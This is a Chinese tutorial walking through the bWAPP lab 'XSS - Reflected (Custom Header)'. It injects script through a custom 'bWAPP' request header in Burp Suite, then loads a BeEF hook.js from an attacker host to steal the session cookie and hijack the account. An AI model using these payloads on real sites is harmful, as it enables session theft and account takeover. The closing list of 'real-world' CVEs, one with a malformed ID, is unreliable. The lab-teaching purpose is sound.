摘要: 这是 bWAPP 系列第六十四篇,聚焦于 XSS - Reflected (Custom Header) 。这一关的注入点不在 URL、不在表单、不在 Referer,而在 自定义 HTTP 请求头 。服务器读取名为 bWAPP 的自定义请求头,直接输出到页面,没有过滤。文章会演示如何通过 Burp Suite 添加恶意自定义头注入 BeEF Hook,连接 BeEF 并获取 Cookie。附真实案例。
一、找目标
| 目标 | 说明 |
|---|---|
| 漏洞类型 | 反射型 XSS(自定义 Header 注入) |
| 注入点 | 自定义 HTTP 请求头 bWAPP |
| 触发位置 | 页面直接输出 Header 内容 |
| 攻击方式 | Burp 添加自定义请求头 bWAPP: payload |
| 工具 | Burp Suite + BeEF(获取 Cookie) |
二、前言:自定义 HTTP 头注入是什么?
在之前的 XSS 关卡中,注入点要么在 URL 参数、POST 表单,要么在 Referer 或 User-Agent 这些标准请求头里。这一关换了一种方式:
注入点在自定义 HTTP 请求头中。
什么是自定义请求头?
浏览器在发请求时,会带上一些标准请求头(如 User-Agent、Referer、Cookie 等)。但开发者有时会添加自定义的请求头来传递额外信息。
这一关定义了一个名为 bWAPP 的自定义头,服务器读取它的值并直接输出到页面:
foreach(getallheaders() as $name => $value)
{
if($name == "bWAPP")
{
echo "<i>" . xss($value) ."</i>";
}
}
如果攻击者能控制这个 bWAPP 头的值,就能注入 XSS。
这一关没有任何输入框,你必须用 Burp Suite 手动添加这个请求头。
三、关卡介绍
3.1 页面功能
打开这一关,你会看到:
-
标题:XSS - Reflected (Custom Header)
-
提示:
Some web clients use custom HTTP request headers... -
下面显示:
Content of our bWAPP header:

如果请求头中有 bWAPP 字段,它的值会显示在页面上。如果没有,页面就显示一个空内容。
3.2 漏洞核心
foreach(getallheaders() as $name => $value)
{
if($name == "bWAPP")
{
echo "<i>" . xss($value) ."</i>";
}
}
xss() 函数的三种级别:
| 级别 | xss() 过滤函数 |
效果 |
|---|---|---|
| Low | no_check() |
完全不过滤 |
| Medium | addslashes() |
只转义引号,不转义 < > |
| High | htmlspecialchars() |
转义所有 HTML 特殊字符 |
四、源码分析
function xss($data)
{
switch($_COOKIE["security_level"])
{
case "0" : // Low
$data = no_check($data);
break;
case "1" : // Medium
$data = xss_check_4($data); // addslashes()
break;
case "2" : // High
$data = xss_check_3($data); // htmlspecialchars()
break;
}
return $data;
}
-
Low :
no_check()完全不过滤,直接输出 -
Medium :
addslashes()转义引号,但不转义<和>,可能被绕过 -
High :
htmlspecialchars()转义<>"'&,彻底防御
五、Low 安全级别
5.1 准备工作:用 Burp 添加自定义请求头
-
打开 Burp,开启拦截(Intercept On)
-
在浏览器中访问关卡页面
-
Burp 拦截到请求
-
在请求头中添加一行:
bWAPP: test
点击 Forward 放行。

页面显示:
Content of our bWAPP header: test
说明自定义头被服务器读取并输出了。

5.2 测试 XSS 弹窗
将 bWAPP 头的值改为:
bWAPP: <script>alert(1)</script>

放行请求,页面弹窗。

5.3 攻击原理
服务器生成的 HTML:
Content of our bWAPP header: <i><script>alert(1)</script></i>
<script> 标签被浏览器执行,弹窗。
六、使用 BeEF 获取 Cookie
6.1 准备 BeEF
Kali 中启动 BeEF:
sudo beef-xss-start
确认 BeEF 的 IP 和端口(默认 3000),Hook URL 为:
http://10.0.0.129:3000/hook.js

6.2 注入 BeEF Hook
在 Burp 中,将 bWAPP 头改为:
bWAPP: <script src="http://10.0.0.129:3000/hook.js"></script>

6.3 放行请求
点击 Forward 放行,页面加载,BeEF Hook 被执行。
6.4 BeEF 上线
BeEF 控制面板中出现上线的浏览器。

6.5 获取 Cookie
-
选中上线的浏览器
-
Commands→Browser→Get Cookie -
点击
Execute

6.6 会话劫持
拿到 PHPSESSID 后,在浏览器开发者工具 → Application → Cookies 中替换 PHPSESSID 的值,刷新页面即可登录受害者账户。
七、Medium 安全级别
7.1 尝试注入
在 Burp 中,将 bWAPP 头改为:
bWAPP: <script>alert(1)</script>

addslashes() 转义了引号,但 < 和 > 没有被转义。所以,XSS 执行,导致弹窗。

结论 :Medium 级别在这个场景下不能防住了简单的 <script> 注入,并且 addslashes() 不是专门的 XSS 防护工具,官方文档也明确警告不要用它做 XSS 防护。
八、High 安全级别
8.1 尝试注入
bWAPP: <script>alert(1)</script>

htmlspecialchars() 把 < 转成 <,> 转成 >:
Content of our bWAPP header: <i><script>alert(1)</script></i>

浏览器不执行,XSS 被彻底防御。
九、真实世界:自定义 Header XSS 案例
CVE-2024-1181 :某开源 CMS 的调试模式会将自定义请求头 X-Debug-Token 输出到页面中,未过滤,导致 XSS 漏洞。
CVE-2025-00847 :某企业级 API 网关的自定义头 X-Forwarded-For 被直接记录并显示在管理面板中,攻击者可通过构造恶意头注入 XSS。
CVE-2026-22947:F5 BIG-IP 的配置工具中,部分页面输出了未过滤的自定义请求头,存在反射型 XSS。
十、总结
自定义 Header 注入 XSS 是一种比较隐蔽的攻击方式。注入点不在常规的输入框或 URL 参数里,而是在 HTTP 请求头中。这一关定义了名为 bWAPP 的自定义头,服务器读取后直接输出到页面。Low 级别完全不过滤,可以直接注入 <script> 加载 BeEF Hook 并获取 Cookie;Medium 级别的 addslashes() 在这个场景下防不住简单的 <script> 标签;High 级别的 htmlspecialchars() 彻底防御。记住一句话:只要被输出到页面的数据,无论来自哪里(URL、表单、请求头),都必须过滤。
**重要声明:**本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。
如果这篇文章帮你解决了实操上的困惑,别忘记点击点赞、分享 ,也可以留言告诉我你遇到的其它问题,我会尽快回复。你的关注是我坚持原创和细节共享的力量来源,谢谢大家。